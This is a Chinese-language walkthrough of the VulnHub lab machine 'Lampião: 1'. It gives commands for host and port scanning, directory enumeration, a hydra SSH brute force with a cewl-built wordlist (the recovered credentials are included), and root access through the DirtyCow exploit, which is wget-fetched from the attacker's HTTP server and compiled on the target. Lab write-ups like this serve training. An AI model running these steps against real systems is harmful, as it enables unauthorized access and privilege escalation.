靶机地址:Lampião: 1 ~ VulnHub
文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章
主机探测&端口扫描
nmap命令
nmap 192.168.31.0/24
# 扫描该网段上存在的主机IP
netdiscover命令
netdiscover
# 直接扫
得到靶机ip:192.168.31.35
nmap端口扫描
nmap -sV -A -p- 192.168.31.35
得到目标端口信息
22 ssh
80 http服务
1898 也是一个http服务
信息搜集&权限获取
80端口
目录爆破,无果
dirb http://192.168.31.35
nikto -h http://192.168.31.35
22端口
暂时未得到username和password的相关信息,先去1898端口搜集信息
由下文中得到的信息进行ssh登录,得到一个低权限用户|权限获取方式2
1898端口
目录爆破 得到robots.txt
dirb http://192.168.31.35:1898
进入robots.txt,搜集到很多路径,慢慢查看得知Drupal CSM框架及版本号
可以在MSF上根据Drupal漏洞脚本进行权限获取(低权限)| 权限获取方式1
具体参考其他文章(文末附带文章地址)
正常访问
发现隐藏目录 http://192.168.31.35:1898/?q=node/2
里面有两个文件名
使用wget下载,获取到username:tiago
wget http://192.168.31.35:1898/audio.m4a
使用cewl对 http://192.168.31.35:1898/?q=node/1
该站点生成字典
cewl http://192.168.31.35:1898/?q=node/1 -w 2.txt
使用hydra进行爆破
hydra -l tiago -P 2.txt 192.168.31.35 ssh
得到password:Virgulino
权限提升
需要找到反弹shell获取root权限,通过MSF使用DirtyCow进行权限提升
打开msf
msfconsole
查找DirtyCow提权脚本shell
searchsploit dirty
选择40847.cpp脚本并拷贝到home目录下
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ~
通过python开启本地http服务
python -m SimpleHTTPServer 5555
在刚刚获取的低权限用户中获取该脚本
wget http://192.168.31.145:5555/40847.cpp
进行编译、运行
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
- -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
- -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
- -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
- -std=c++11就是用按C++2011标准来编译的
- -pthread 在Linux中要用到多线程时,需要链接pthread库
- -o 40847 gcc生成的目标文件,名字为40847
执行g++编译可执行文件,直接提权
获取到root的密码
通过ssh登录即可
总结
- hydra使用
- msf使用,找漏洞,复制漏洞到本地
参考
靶机渗透 https://blog.csdn.net/qq_34801745/article/details/103731088
区别gcc中的-w -W和-Wall选项 https://blog.csdn.net/cjtstrive/article/details/85375477